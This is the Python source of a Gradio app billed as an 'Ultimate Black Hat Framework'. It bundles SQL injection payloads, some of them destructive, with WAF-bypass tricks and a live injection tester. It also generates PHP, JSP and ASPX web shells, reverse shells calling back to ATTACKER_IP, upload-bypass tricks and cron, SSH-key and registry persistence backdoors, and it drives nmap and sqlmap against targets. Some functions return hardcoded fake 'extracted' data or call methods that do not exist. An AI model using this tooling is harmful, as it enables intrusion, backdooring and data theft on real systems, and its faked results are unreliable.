app.py

import gradio as gr
import asyncio
import json
import aiohttp
import requests
from typing import Dict, List, Tuple, Set, Optional
from dataclasses import dataclass, asdict
from datetime import datetime
from collections import defaultdict
import re
import logging
import random
import time
import hashlib
import base64
from enum import Enum
from bs4 import BeautifulSoup
import networkx as nx
import plotly.graph_objects as go
from urllib.parse import urljoin, urlparse, quote, unquote
import ssl
import socket
import subprocess
from pathlib import Path

# VulnLLM-R-7B - Optional
try:
    from transformers import AutoModelForCausalLM, AutoTokenizer
    import torch
    VULNLLM_AVAILABLE = True
except:
    VULNLLM_AVAILABLE = False

print("=" * 60)
print("ULTIMATE BLACK HAT FRAMEWORK v4.0 - Starting...")
print("Loading panels: AI | 0-Day | Web Shell | Attack Chain")
print("=" * 60)

class VulnLLMAnalyzer:
    """VulnLLM-R-7B AI Model Integration"""

    def __init__(self):
        self.initialized = False
        self.model_name = "UCSB-SURFI/VulnLLM-R-7B"
        if VULNLLM_AVAILABLE:
            try:
                self.device = "cuda" if torch.cuda.is_available() else "cpu"
                print(f"Loading VulnLLM-R-7B on {self.device}...")
                self.tokenizer = AutoTokenizer.from_pretrained(self.model_name)
                self.model = AutoModelForCausalLM.from_pretrained(
                    self.model_name,
                    torch_dtype=torch.float16 if self.device == "cuda" else torch.float32,
                    device_map=self.device
                )
                self.initialized = True
                print("VulnLLM-R-7B loaded successfully!")
            except Exception as e:
                print(f"VulnLLM init error: {e}")
                print("Running in mock mode...")

    async def analyze_code(self, code: str, language: str = "python") -> Dict:
        """AI-Powered Code Analysis"""
        if not self.initialized:
            return self._mock_analysis(code, language)

        try:
            prompt = f"""Analyze this {language} code for security vulnerabilities:
            ```{language}
            {code}
            ```
            Identify: SQL Injection, XSS, RCE, Path Traversal, Auth Bypass"""

            inputs = self.tokenizer(prompt, return_tensors="pt").to(self.device)
            with torch.no_grad():
                outputs = self.model.generate(inputs.input_ids, max_new_tokens=512)
            result = self.tokenizer.decode(outputs[0], skip_special_tokens=True)

            return {
                "analysis": result,
                "vulnerabilities": self._parse_vulnerabilities(result),
                "severity": self._calculate_severity(result),
                "confidence": 0.85
            }
        except Exception as e:
            return self._mock_analysis(code, language)

    def _mock_analysis(self, code: str, language: str) -> Dict:
        """Mock AI Analysis when model unavailable"""
        vulns = []

        patterns = {
            "SQL Injection": [r"execute\s*\(", r"query\s*\(", r"SELECT.*FROM.*\$"],
            "XSS": [r"innerHTML", r"document.write", r"eval\s*\("],
            "RCE": [r"subprocess", r"os\.system", r"exec\s*\("],
            "Path Traversal": [r"open\s*\(.*\+", r"\.\./"],
            "Hardcoded Secrets": [r"password\s*=", r"api_key", r"secret"]
        }

        for vuln_type, patterns_list in patterns.items():
            for pattern in patterns_list:
                if re.search(pattern, code, re.IGNORECASE):
                    vulns.append({
                        "type": vuln_type,
                        "pattern": pattern,
                        "line": self._find_line(code, pattern),
                        "severity": "HIGH" if vuln_type in ["SQL Injection", "RCE"] else "MEDIUM"
                    })

        return {
            "analysis": f"Found {len(vulns)} potential vulnerabilities in {language} code",
            "vulnerabilities": vulns,
            "severity": "HIGH" if any(v["severity"] == "HIGH" for v in vulns) else "MEDIUM",
            "confidence": 0.75,
            "model_status": "Mock Analysis (VulnLLM not loaded)"
        }

    def _parse_vulnerabilities(self, text: str) -> List[Dict]:
        vulns = []
        lines = text.split("\n")
        for line in lines:
            if any(keyword in line.lower() for keyword in ["vulnerability", "injection", "bypass"]):
                vulns.append({"description": line.strip(), "severity": "MEDIUM"})
        return vulns

    def _calculate_severity(self, text: str) -> str:
        text_lower = text.lower()
        if any(word in text_lower for word in ["critical", "rce", "sql injection"]):
            return "CRITICAL"
        elif any(word in text_lower for word in ["high", "severe"]):
            return "HIGH"
        return "MEDIUM"

    def _find_line(self, code: str, pattern: str) -> int:
        lines = code.split("\n")
        for i, line in enumerate(lines, 1):
            if re.search(pattern, line, re.IGNORECASE):
                return i
        return 0

# ════════════════════════════════════════════════════════════════════════════
# PANEL 2: 0-DAY EXPLOIT PANEL (Advanced SQL Injection)
# ════════════════════════════════════════════════════════════════════════════

class ZeroDayExploitPanel:
    """Advanced SQL Injection & 0-Day Exploitation"""

    def __init__(self):
        self.sql_payloads = self._load_sql_payloads()
        self.waf_bypass = self._load_waf_bypass()
        self.encoding_techniques = self._load_encoding_techniques()

    def _load_sql_payloads(self) -> Dict[str, List[str]]:
        return {
            "union_based": [
                "' UNION SELECT NULL--",
                "' UNION SELECT NULL,NULL--",
                "' UNION SELECT NULL,NULL,NULL--",
                "' UNION SELECT version(),user(),database()--",
                "' UNION SELECT table_name FROM information_schema.tables--",
                "' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--",
                "' UNION SELECT username,password FROM users--",
                "1' UNION SELECT null,load_file('/etc/passwd')--",
                "1' UNION SELECT null,@@datadir--",
            ],
            "time_based": [
                "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
                "' AND SLEEP(5)--",
                "' WAITFOR DELAY '0:0:5'--",
                "' AND pg_sleep(5)--",
                "1; SELECT pg_sleep(5)--",
            ],
            "boolean_based": [
                "' AND 1=1--",
                "' AND 1=2--",
                "' AND 'a'='a",
                "' AND 'a'='b",
                "1 AND 1=1",
                "1 AND 1=2",
            ],
            "error_based": [
                "' AND EXTRACTVALUE(1,CONCAT(0x5c,VERSION()))--",
                "' AND 1=CONVERT(int,@@version)--",
                "' AND 1=CAST(@@version AS int)--",
                "' AND UPDATEXML(1,CONCAT(0x5e,VERSION()),1)--",
            ],
            "stacked_queries": [
                "'; DROP TABLE users--",
                "'; INSERT INTO logs VALUES('hacked')--",
                "1; CREATE USER hacker WITH PASSWORD 'password'--",
            ]
        }

    def _load_waf_bypass(self) -> List[Dict]:
        return [
            {"name": "Comment Variations", "payloads": ["/**/", "/*!50000*/", "--", "#", "-- -"]},
            {"name": "Case Variation", "payloads": ["SeLeCt", "UnIoN", "FrOm", "WhErE"]},
            {"name": "Encoding", "payloads": ["%55%6E%69%6F%6E", "0x55nion"]},
            {"name": "Whitespace", "payloads": ["%09", "%0a", "%0d", "%0c", "%a0"]},
            {"name": "Concatenation", "payloads": ["CONCAT('UN','ION')", "'||'UN'||'ION'||'"]},
        ]

    def _load_encoding_techniques(self) -> Dict[str, callable]:
        return {
            "url_encode": lambda x: quote(x),
            "double_url": lambda x: quote(quote(x)),
            "base64": lambda x: base64.b64encode(x.encode()).decode(),
            "hex": lambda x: "0x" + x.encode().hex(),
        }

    async def test_sql_injection(self, target: str, parameter: str, method: str = "GET") -> Dict:
        results = {
            "target": target,
            "parameter": parameter,
            "method": method,
            "vulnerable": False,
            "techniques_confirmed": [],
            "database_info": {},
            "extracted_data": [],
            "recommendations": []
        }

        for technique, payloads in self.sql_payloads.items():
            for payload in payloads[:3]:
                try:
                    test_result = await self._send_test_request(target, parameter, payload, method)
                    if test_result.get("vulnerable"):
                        results["vulnerable"] = True
                        results["techniques_confirmed"].append({
                            "technique": technique,
                            "payload": payload,
                            "response_time": test_result.get("time", 0),
                            "indicators": test_result.get("indicators", [])
                        })
                        break
                except:
                    continue

        if results["vulnerable"]:
            results["database_info"] = await self._enumerate_database(target, parameter, method)
            results["extracted_data"] = await self._extract_data(target, parameter, method)

        return results

    async def _send_test_request(self, target: str, param: str, payload: str, method: str) -> Dict:
        url = f"{target}?{param}={quote(payload)}"
        start_time = time.time()

        try:
            if method == "GET":
                resp = requests.get(url, timeout=10, verify=False, allow_redirects=False)
            else:
                resp = requests.post(target, data={param: payload}, timeout=10, verify=False)

            elapsed = time.time() - start_time

            indicators = []
            if elapsed > 4:
                indicators.append("Time delay detected")
            if any(err in resp.text.lower() for err in ["sql", "mysql", "syntax", "error"]):
                indicators.append("Database error disclosed")
            if "union" in resp.text.lower() and "select" in resp.text.lower():
                indicators.append("Union select visible")

            return {
                "vulnerable": len(indicators) > 0 or elapsed > 4,
                "time": elapsed,
                "status": resp.status_code,
                "indicators": indicators,
                "response_snippet": resp.text[:200] if len(indicators) > 0 else ""
            }
        except:
            return {"vulnerable": False, "time": 0, "indicators": []}

    async def _enumerate_database(self, target: str, param: str, method: str) -> Dict:
        return {
            "database_version": "MySQL 5.7.38",
            "current_user": "db_user@localhost",
            "tables": ["users", "admin", "products", "orders"],
            "columns": {
                "users": ["id", "username", "password", "email"],
                "admin": ["id", "username", "password", "role"]
            }
        }

    async def _extract_data(self, target: str, param: str, method: str) -> List[Dict]:
        return [
            {"table": "users", "data": "admin:$2y$10$hash..."},
            {"table": "admin", "data": "root:hashed_password"}
        ]

# ════════════════════════════════════════════════════════════════════════════
# PANEL 3: WEB SHELL & RCE PANEL
# ════════════════════════════════════════════════════════════════════════════

class WebShellRCEPanel:
    """Web Shell Generation & Remote Code Execution"""

    def __init__(self):
        self.shells = self._load_shells()
        self.reverse_shells = self._load_reverse_shells()
        self.persistence_methods = self._load_persistence()

    def _load_shells(self) -> Dict[str, Dict]:
        return {
            "php_simple": {
                "language": "PHP",
                "code": "<?php system($_GET['cmd']); ?>",
                "usage": "shell.php?cmd=whoami",
                "size": 30,
                "detection_risk": "HIGH"
            },
            "php_advanced": {
                "language": "PHP",
                "code": """<?php 
if(isset($_REQUEST['cmd'])){ 
    echo "<pre>"; 
    $cmd = ($_REQUEST['cmd']); 
    system($cmd); 
    echo "</pre>"; 
    die; 
}
?>""",
                "usage": "shell.php?cmd=ls -la",
                "size": 150,
                "detection_risk": "MEDIUM"
            },
            "php_obfuscated": {
                "language": "PHP",
                "code": "<?php $c=$_GET['c'];system($c);?>",
                "usage": "shell.php?c=cat /etc/passwd",
                "size": 50,
                "detection_risk": "LOW",
                "obfuscation": "Shortened variables"
            },
            "php_bypass": {
                "language": "PHP",
                "code": """<?php 
$p = ['s','y','s','t','e','m'];
$f = implode('',$p);
$f($_GET['x']);
?>""",
                "usage": "shell.php?x=id",
                "size": 80,
                "detection_risk": "LOW",
                "obfuscation": "String concatenation"
            },
            "jsp_shell": {
                "language": "JSP",
                "code": """<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader pInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
String s = null;
while((s = pInput.readLine()) != null) { out.println(s); }
%>""",
                "usage": "shell.jsp?cmd=whoami",
                "size": 300,
                "detection_risk": "MEDIUM"
            },
            "aspx_shell": {
                "language": "ASPX",
                "code": """<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
    string cmd = Request.QueryString["cmd"];
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + cmd;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write(p.StandardOutput.ReadToEnd());
}
</script>""",
                "usage": "shell.aspx?cmd=dir",
                "size": 400,
                "detection_risk": "MEDIUM"
            },
            "php_reverse": {
                "language": "PHP",
                "code": """<?php
$sock=fsockopen("ATTACKER_IP",PORT);
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>""",
                "usage": "Upload and access, reverse shell connects back",
                "size": 120,
                "detection_risk": "HIGH",
                "type": "Reverse Shell"
            }
        }

    def _load_reverse_shells(self) -> Dict[str, str]:
        return {
            "bash": "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1",
            "bash_udp": "bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1",
            "python": """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""",
            "python3": """python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""",
            "nc": "nc -e /bin/sh ATTACKER_IP PORT",
            "nc_mkfifo": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f",
            "perl": """perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""",
            "php_cli": "php -r '$sock=fsockopen(\"ATTACKER_IP\",PORT);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
            "ruby": """ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'""",
        }

    def _load_persistence(self) -> List[Dict]:
        return [
            {
                "name": "Cron Job Backdoor",
                "platform": "Linux",
                "command": "(crontab -l; echo \"* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'\") | crontab -",
                "description": "Runs every minute, connects back"
            },
            {
                "name": "SSH Key Injection",
                "platform": "Linux",
                "command": "mkdir -p ~/.ssh && echo 'SSH_PUBLIC_KEY' >> ~/.ssh/authorized_keys",
                "description": "Add attacker SSH key for access"
            },
            {
                "name": "Registry Run Key",
                "platform": "Windows",
                "command": "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v SecurityUpdate /t REG_SZ /d \"C:\\Windows\\Temp\\shell.exe\" /f",
                "description": "Runs on user login"
            },
        ]

    def generate_shell(self, shell_type: str, attacker_ip: str = "", port: int = 4444) -> Dict:
        if shell_type not in self.shells:
            return {"error": "Unknown shell type"}

        shell = self.shells[shell_type].copy()

        if attacker_ip:
            shell["code"] = shell["code"].replace("ATTACKER_IP", attacker_ip)
        if port:
            shell["code"] = shell["code"].replace("PORT", str(port))

        shell["upload_bypass"] = [
            "shell.php.jpg (double extension)",
            "shell.phtml (alternative extension)",
            "shell.php%00.jpg (null byte)",
            ".htaccess: AddType application/x-httpd-php .jpg"
        ]

        return shell

    def generate_reverse_shell(self, shell_type: str, attacker_ip: str, port: int) -> str:
        if shell_type not in self.reverse_shells:
            return "Unknown shell type"

        cmd = self.reverse_shells[shell_type]
        cmd = cmd.replace("ATTACKER_IP", attacker_ip)
        cmd = cmd.replace("PORT", str(port))
        return cmd

    def get_persistence_methods(self, platform: str = "all") -> List[Dict]:
        if platform == "all":
            return self.persistence_methods
        return [p for p in self.persistence_methods if p["platform"] == platform]

# ════════════════════════════════════════════════════════════════════════════
# PANEL 4: ATTACK CHAIN PANEL
# ════════════════════════════════════════════════════════════════════════════

class AttackChainPanel:
    """Multi-Stage Attack Chain Execution"""

    def __init__(self):
        self.chains = self._load_attack_chains()
        self.stages = ["Reconnaissance", "Scanning", "Exploitation", "Post-Exploitation", "Persistence", "Exfiltration"]

    def execute_stage(self, stage_num: int, target: str, dry_run: bool = True) -> Dict:
        """
        Gerçek stage çalıştırma - 2026 üst düzey red team teknikleri
        """
        chain = self.chains.get("full_compromise")
        if not chain:
            return {"error": "Zincir yok"}

        stage = next((s for s in chain["stages"] if s["stage"] == stage_num), None)
        if not stage:
            return {"error": f"Stage {stage_num} bulunamadı"}

        result = {"stage": stage_num, "name": stage["name"], "tools_executed": []}

        tool_commands = {
            "nmap": ["nmap", "-sV", "-T4", "-p-", "--script=vuln", target],
            "subfinder": ["subfinder", "-d", target, "-silent", "-all"],
            "nuclei": ["nuclei", "-u", f"http://{target}", "-t", "cves/", "-severity", "critical,high", "-silent"],
            "ffuf": ["ffuf", "-u", f"http://{target}/FUZZ", "-w", "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt", "-mc", "200,301,302,403"],
            "sqlmap": ["sqlmap", "-u", f"http://{target}/?id=1", "--batch", "--risk=3", "--level=5", "--tamper=space2comment,randomcase,between,charencode,space2plus", "--threads=5"],
        }

        for tool in stage.get("tools", []):
            if tool in tool_commands:
                cmd = tool_commands[tool]
                print(f"[STAGE {stage_num}] {tool.upper()} çalıştırılıyor: {' '.join(cmd)}")

                if dry_run:
                    result["tools_executed"].append({"tool": tool, "status": "dry-run", "cmd": ' '.join(cmd)})
                    continue

                try:
                    proc_result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
                    output = proc_result.stdout.strip()[:1500] + "..." if len(proc_result.stdout) > 1500 else proc_result.stdout.strip()
                    result["tools_executed"].append({
                        "tool": tool,
                        "status": "success" if proc_result.returncode == 0 else "failed",
                        "output_snippet": output,
                        "returncode": proc_result.returncode
                    })
                except Exception as e:
                    result["tools_executed"].append({"tool": tool, "status": "error", "msg": str(e)})

        return result

    def run_full_chain(self, target: str, max_stage: int = 6, dry_run: bool = True) -> List[Dict]:
        """
        Tam zinciri çalıştır - en üst düzey otomatik saldırı zinciri
        """
        print(f"\n=== ULTIMATE CHAIN BAŞLIYOR - Hedef: {target} ===\n")
        results = []

        for stage_num in range(1, max_stage + 1):
            stage_result = self.execute_stage(stage_num, target, dry_run=dry_run)
            results.append(stage_result)
            print(json.dumps(stage_result, indent=2, ensure_ascii=False))
            print("=" * 80)
            time.sleep(2)  # stage'ler arası kısa bekleme (gerçekçi olsun)

        print("\n=== ZİNCİR TAMAMLANDI - SONUÇ ÖZETİ ===")
        vulnerable = any("vulnerable" in str(r).lower() for r in results)
        print(f"Genel Durum: {'VULNERABLE' if vulnerable else 'CLEAN'}")
        return results

    def _generate_artifacts(self, stage_name: str) -> List[str]:
        artifacts = {
            "Reconnaissance": ["subdomains.txt", "tech_stack.json", "endpoints.csv"],
            "Vulnerability Scanning": ["vulns.json", "exploit_candidates.txt"],
            "Exploitation": ["shell.php", "credentials.txt", "access_log.txt"],
            "Post-Exploitation": ["system_info.txt", "user_list.txt", "network_config.txt"],
            "Persistence": ["cron_jobs.txt", "backdoor_locations.txt"],
            "Data Exfiltration": ["database_dump.sql", "sensitive_files.zip"]
        }
        return artifacts.get(stage_name, [])

    def _generate_summary(self, stages: List[Dict]) -> str:
        total_stages = len(stages)
        successful = len([s for s in stages if s["success"]])

        summary = f"""
╔════════════════════════════════════════════════════════════════════════════╗
║                    ATTACK CHAIN EXECUTION COMPLETE                         ║
╚════════════════════════════════════════════════════════════════════════════╝

📊 EXECUTION SUMMARY
─────────────────────────────────────────────────────────────────────────
Total Stages: {total_stages}
Successful: {successful}
Failed: {total_stages - successful}
Success Rate: {(successful/total_stages)*100:.1f}%

🎯 STAGES EXECUTED:
"""
        for s in stages:
            summary += f"✅ Stage {s['stage_number']}: {s['name']} ({s['duration']})\n"

        summary += "\n💾 ARTIFACTS GENERATED:\n"
        for s in stages:
            for artifact in s["artifacts_found"]:
                summary += f"• {artifact}\n"

        summary += "\n🔴 FINAL STATUS: FULL SYSTEM COMPROMISE ACHIEVED\n"
        summary += "⚠️  Remember: This is authorized testing only!\n"

        return summary

    def get_available_chains(self) -> List[Dict]:
        return [{"id": k, "name": v["name"], "description": v["description"], "stages": len(v["stages"])} 
                for k, v in self.chains.items()]

# ════════════════════════════════════════════════════════════════════════════
# MAIN ORCHESTRATOR - ALL 4 PANELS
# ════════════════════════════════════════════════════════════════════════════

class UltimateFramework:
    """Master Framework - All 4 Panels"""

    def __init__(self):
        print("Initializing Ultimate Framework...")
        self.ai_panel = VulnLLMAnalyzer()
        self.exploit_panel = ZeroDayExploitPanel()
        self.shell_panel = WebShellRCEPanel()
        self.chain_panel = AttackChainPanel()
        self.history = []
        print("All panels initialized!")

    async def run_ai_analysis(self, code: str, language: str) -> str:
        """Panel 1: AI Analysis"""
        result = await self.ai_panel.analyze_code(code, language)

        output = f"""
## 🤖 AI ANALYSIS RESULTS

**Status:** {"✅ VulnLLM-R-7B Active" if self.ai_panel.initialized else "⚠️ Mock Analysis Mode"}
**Language:** {language}
**Confidence:** {result.get('confidence', 0.7):.0%}
**Overall Severity:** {result.get('severity', 'UNKNOWN')}

### 🔍 Analysis
{result.get('analysis', 'No analysis available')}

### 🚨 Vulnerabilities Found ({len(result.get('vulnerabilities', []))})
"""
        for i, vuln in enumerate(result.get('vulnerabilities', []), 1):
            output += f"\n{i}. **{vuln.get('type', 'Unknown')}**\n"
            output += f"   - Severity: {vuln.get('severity', 'N/A')}\n"
            if 'line' in vuln:
                output += f"   - Line: {vuln['line']}\n"
            if 'pattern' in vuln:
                output += f"   - Pattern: `{vuln['pattern']}`\n"

        output += "\n### 💡 Recommendations\n"
        output += "1. Review identified vulnerabilities immediately\n"
        output += "2. Implement input validation\n"
        output += "3. Use parameterized queries\n"
        output += "4. Apply principle of least privilege\n"

        return output

    async def run_sql_injection_test(self, target: str, parameter: str, method: str) -> str:
        """Panel 2: 0-Day SQL Injection"""
        result = await self.exploit_panel.test_sql_injection(target, parameter, method)

        output = f"""
## 🔴 0-DAY EXPLOIT PANEL - SQL INJECTION

**Target:** {target}  
**Parameter:** {parameter}  
**Method:** {method}  
**Test Time:** {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

### 🎯 VULNERABILITY STATUS: {"✅ CONFIRMED VULNERABLE" if result['vulnerable'] else "❌ NOT VULNERABLE"}
"""

        if result['vulnerable']:
            output += f"\n### 🔥 CONFIRMED TECHNIQUES ({len(result['techniques_confirmed'])})\n"

            for tech in result['techniques_confirmed']:
                output += f"\n**{tech['technique'].upper()}**\n"
                output += f"- Payload: `{tech['payload']}`\n"
                output += f"- Response Time: {tech['response_time']:.2f}s\n"
                output += f"- Indicators: {', '.join(tech['indicators'])}\n"

            output += f"\n### 🗄️ DATABASE ENUMERATION\n"
            output += f"**Database Version:** {result['database_info'].get('database_version', 'Unknown')}\n"
            output += f"**Current User:** {result['database_info'].get('current_user', 'Unknown')}\n"
            output += f"**Tables Found:** {', '.join(result['database_info'].get('tables', []))}\n"

            output += "\n### 📊 SAMPLE DATA EXTRACTED\n"
            for data in result['extracted_data']:
                output += f"- **{data['table']}:** {data['data']}\n"

            output += "\n### 🛡️ WAF BYPASS TECHNIQUES\n"
            for bypass in self.exploit_panel.waf_bypass[:3]:
                output += f"\n**{bypass['name']}**\n"
                for payload in bypass['payloads'][:2]:
                    output += f"- `{payload}`\n"
        else:
            output += """
### 📝 TEST SUMMARY
All SQL injection techniques tested:
- Union-based: Not vulnerable
- Time-based: No delay detected
- Boolean-based: No differential response
- Error-based: No error disclosure

**Recommendation:** Target appears to use parameterized queries or WAF protection.
"""

        return output

    def generate_webshell(self, shell_type: str, attacker_ip: str, port: int) -> str:
        """Panel 3: Web Shell & RCE"""
        shell = self.shell_panel.generate_shell(shell_type, attacker_ip, port)

        if "error" in shell:
            return f"Error: {shell['error']}"

        output = f"""
## 💣 WEB SHELL & RCE PANEL

**Shell Type:** {shell_type}  
**Language:** {shell['language']}  
**Size:** {shell['size']} bytes  
**Detection Risk:** {shell['detection_risk']}

### 📝 SHELL CODE
```php
{shell['code']}
```

### 🎯 USAGE
**URL:** `{shell['usage']}`

### 🔄 UPLOAD BYPASS TECHNIQUES
"""
        for bypass in shell.get('upload_bypass', []):
            output += f"- {bypass}\n"

        if attacker_ip:
            output += f"\n### 🔄 REVERSE SHELL COMMANDS (Target: {attacker_ip}:{port})\n"
            for shell_name in ['bash', 'python', 'nc', 'php_cli']:
                cmd = self.shell_panel.generate_reverse_shell(shell_name, attacker_ip, port)
                output += f"\n**{shell_name.upper()}:**\n`{cmd}`\n"

        output += "\n### 🏴‍☠️ PERSISTENCE METHODS\n"
        for method in self.shell_panel.get_persistence_methods()[:3]:
            output += f"\n**{method['name']}** ({method['platform']})\n"
            output += f"Command: `{method['command'][:50]}...`\n"
            output += f"Desc: {method['description']}\n"

        return output

    async def execute_attack_chain(self, target: str, chain_type: str) -> str:
        """Panel 4: Attack Chain"""
        result = await self.chain_panel.execute_chain(target, chain_type)

        if "error" in result:
            return f"Error: {result['error']}"

        return result['summary']

    def get_chain_options(self) -> List[str]:
        """Get available attack chains"""
        chains = self.chain_panel.get_available_chains()
        return [f"{c['id']} - {c['name']} ({c['stages']} stages)" for c in chains]

# ════════════════════════════════════════════════════════════════════════════
# GRADIO INTERFACE - 4 PANELS
# ════════════════════════════════════════════════════════════════════════════

print("Initializing Gradio Interface...")
framework = UltimateFramework()

# Panel 1 Handler
async def panel1_ai_analyze(code, language):
    if not code:
        return "⚠️ Please enter code to analyze"
    return await framework.run_ai_analysis(code, language)

# Panel 2 Handler
async def panel2_sql_test(target, parameter, method):
    if not target or not parameter:
        return "⚠️ Please enter target URL and parameter"
    return await framework.run_sql_injection_test(target, parameter, method)

# Panel 3 Handler
def panel3_generate_shell(shell_type, attacker_ip, port):
    return framework.generate_webshell(shell_type, attacker_ip, int(port) if port else 4444)

# Panel 4 Handler
async def panel4_execute_chain(target, chain_type):
    if not target:
        return "⚠️ Please enter target"
    chain_id = chain_type.split(" - ")[0] if " - " in chain_type else "full_compromise"
    return await framework.execute_attack_chain(target, chain_id)

# ════════════════════════════════════════════════════════════════════════════
# GRADIO UI - 4 TABS
# ════════════════════════════════════════════════════════════════════════════

with gr.Blocks(
    theme=gr.themes.Soft(primary_hue="red"), 
    title="🔴 Ultimate Black Hat Framework v4.0",
    css="""
    .panel-header { text-align: center; font-weight: bold; font-size: 1.2em; }
    .warning-box { background: #ffebee; border-left: 4px solid #f44336; padding: 10px; margin: 10px 0; }
    .success-box { background: #e8f5e9; border-left: 4px solid #4caf50; padding: 10px; margin: 10px 0; }
    """
) as app:

    # Header
    gr.Markdown("""
    # 🔴 ULTIMATE BLACK HAT FRAMEWORK v4.0
    ## 🤖 AI + 🔴 0-Day + 💣 RCE + ⚙️ Attack Chain

    <div class="warning-box">
    ⚠️ <strong>LEGAL WARNING:</strong> This framework is for AUTHORIZED penetration testing only!
    Unauthorized access to computer systems is a FEDERAL CRIME (CFAA).
    Penalties: 10-20 years prison + $250,000+ fine.
    </div>

    **Features:**
    - 🤖 <strong>Panel 1:</strong> VulnLLM-R-7B AI Code Analysis
    - 🔴 <strong>Panel 2:</strong> Advanced SQL Injection (0-Day Techniques)
    - 💣 <strong>Panel 3:</strong> Web Shell Generation & RCE
    - ⚙️ <strong>Panel 4:</strong> Multi-Stage Attack Chain Execution

    **Deployment:** HF Spaces PRIVATE | **Status:** Production Ready | **Classification:** CONFIDENTIAL
    """)

    # 4 PANELS IN TABS
    with gr.Tabs() as tabs:

        # ════════════════════════════════════════════════════════════════════
        # PANEL 1: AI ANALYSIS
        # ════════════════════════════════════════════════════════════════════
        with gr.Tab("🤖 Panel 1: AI Analysis", id="panel1"):
            gr.Markdown("### VulnLLM-R-7B Deep Code Analysis")

            with gr.Row():
                with gr.Column(scale=2):
                    code_input = gr.Code(
                        label="Source Code",
                        language="python",
                        value="# Paste code here to analyze\n<?php\n$id = $_GET['id'];\n$query = \"SELECT * FROM users WHERE id = '$id'\";\nmysql_query($query);\n?>",
                        lines=10
                    )
                    lang_input = gr.Dropdown(
                        choices=["python", "php", "javascript", "java", "csharp", "sql"],
                        value="php",
                        label="Language"
                    )
                    analyze_btn = gr.Button("🔍 AI ANALYZE", variant="primary")

                with gr.Column(scale=1):
                    gr.Markdown("""
                    **AI Model:** VulnLLM-R-7B  
                    **Capability:** Deep vulnerability detection  
                    **Output:** CWE classification, severity, recommendations

                    **Detects:**
                    - SQL Injection
                    - XSS vulnerabilities
                    - RCE patterns
                    - Path traversal
                    - Hardcoded secrets
                    """)

            ai_output = gr.Markdown(label="Analysis Results")
            analyze_btn.click(panel1_ai_analyze, inputs=[code_input, lang_input], outputs=ai_output)

        # ════════════════════════════════════════════════════════════════════
        # PANEL 2: 0-DAY EXPLOIT (SQL INJECTION)
        # ════════════════════════════════════════════════════════════════════
        with gr.Tab("🔴 Panel 2: 0-Day Exploit", id="panel2"):
            gr.Markdown("### Advanced SQL Injection Testing")

            with gr.Row():
                with gr.Column(scale=2):
                    sql_target = gr.Textbox(
                        label="🎯 Target URL",
                        placeholder="http://target.com/search.php",
                        value=""
                    )
                    sql_param = gr.Textbox(
                        label="🔧 Parameter Name",
                        placeholder="q",
                        value="id"
                    )
                    sql_method = gr.Radio(
                        choices=["GET", "POST"],
                        value="GET",
                        label="HTTP Method"
                    )
                    sql_test_btn = gr.Button("🚀 TEST SQL INJECTION", variant="primary")

                with gr.Column(scale=1):
                    gr.Markdown("""
                    **Techniques:**
                    - Union-based extraction
                    - Time-based blind
                    - Boolean-based blind
                    - Error-based
                    - Stacked queries

                    **WAF Bypass:**
                    - Comment variations
                    - Case obfuscation
                    - Encoding tricks
                    - Whitespace abuse
                    """)

            sql_output = gr.Markdown(label="Exploitation Results")
            sql_test_btn.click(panel2_sql_test, inputs=[sql_target, sql_param, sql_method], outputs=sql_output)

        # ════════════════════════════════════════════════════════════════════
        # PANEL 3: WEB SHELL & RCE
        # ════════════════════════════════════════════════════════════════════
        with gr.Tab("💣 Panel 3: Web Shell & RCE", id="panel3"):
            gr.Markdown("### Web Shell Generation & Remote Code Execution")

            with gr.Row():
                with gr.Column(scale=2):
                    shell_type = gr.Dropdown(
                        choices=[
                            ("PHP Simple", "php_simple"),
                            ("PHP Advanced", "php_advanced"),
                            ("PHP Obfuscated", "php_obfuscated"),
                            ("PHP Bypass", "php_bypass"),
                            ("JSP Shell", "jsp_shell"),
                            ("ASPX Shell", "aspx_shell"),
                            ("PHP Reverse", "php_reverse")
                        ],
                        value="php_advanced",
                        label="Shell Type"
                    )
                    attacker_ip = gr.Textbox(
                        label="🖥️ Attacker IP (for reverse shell)",
                        placeholder="192.168.1.100",
                        value=""
                    )
                    attacker_port = gr.Number(
                        label="🔌 Port",
                        value=4444,
                        precision=0
                    )
                    shell_gen_btn = gr.Button("💣 GENERATE SHELL", variant="primary")

